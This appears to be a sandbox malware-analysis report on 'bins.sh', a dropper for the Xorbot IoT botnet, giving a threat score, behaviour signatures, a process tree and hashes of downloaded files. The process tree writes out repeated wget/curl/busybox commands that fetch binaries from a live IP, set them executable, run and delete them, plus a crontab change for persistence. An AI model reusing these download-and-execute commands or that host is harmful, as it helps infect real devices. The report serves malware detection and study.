Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02/01/2025, 13:22

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250102-ql79fstjfz
  • SHA256 ac9bab3ad183c99cfce29fa21be3e173974bbd1fa9dc894493eaa9c2208e8b7d
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2118) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1502
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1503
        • /usr/bin/wget
          wget http://66.63.187.225/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1504
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1508
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1509
        • /bin/chmod
          chmod 777 Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • File and Directory Permissions Modification
          PID:1510
        • /tmp/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          ./Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:1511
        • /bin/rm
          rm Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          PID:1513
        • /usr/bin/wget
          wget http://66.63.187.225/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Writes file to tmp directory
          PID:1514
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Writes file to tmp directory
          PID:1515
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Writes file to tmp directory
          PID:1516
        • /bin/chmod
          chmod 777 VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • File and Directory Permissions Modification
          PID:1517
        • /tmp/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          ./VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Executes dropped EXE
          PID:1518
        • /bin/rm
          rm VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
            PID:1520
          • /usr/bin/wget
            wget http://66.63.187.225/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • Writes file to tmp directory
            PID:1521
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • Writes file to tmp directory
            PID:1522
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • Writes file to tmp directory
            PID:1523
          • /bin/chmod
            chmod 777 baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • File and Directory Permissions Modification
            PID:1524
          • /tmp/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            ./baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • Executes dropped EXE
            PID:1525
          • /bin/rm
            rm baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
              PID:1527
            • /usr/bin/wget
              wget http://66.63.187.225/bins/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • Writes file to tmp directory
              PID:1528
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • Writes file to tmp directory
              PID:1529
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • Writes file to tmp directory
              PID:1530
            • /bin/chmod
              chmod 777 GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • File and Directory Permissions Modification
              PID:1531
            • /tmp/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              ./GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:1532
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:1534
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:1535
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:1536
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:1537
                  • /bin/rm
                    rm GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                    2⤵
                      PID:1539
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                      2⤵
                      • Writes file to tmp directory
                      PID:1542

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                        • Path /tmp/69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                        • Size 12KB
                        • SHA256 bbd9807c5fa3c04d046ff1339a6ff3538e529eae9f504786b6430d8bb941af7e
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                        • Path /tmp/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                        • Size 99KB
                        • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
                        • Path /tmp/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
                        • Size 127KB
                        • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
                        • Path /tmp/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
                        • Size 151KB
                        • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                        • Path /tmp/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                        • Size 122KB
                        • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.O4wVgQ
                        • Path /var/spool/cron/crontabs/tmp.O4wVgQ
                        • Size 210B
                        • SHA256 c2505a0638ee7ded97afd8c909654c1afa2041b2dc9bc63f1df90c27cc7f3464
                        • MD5 SHA1 SHA512
                        Submit Download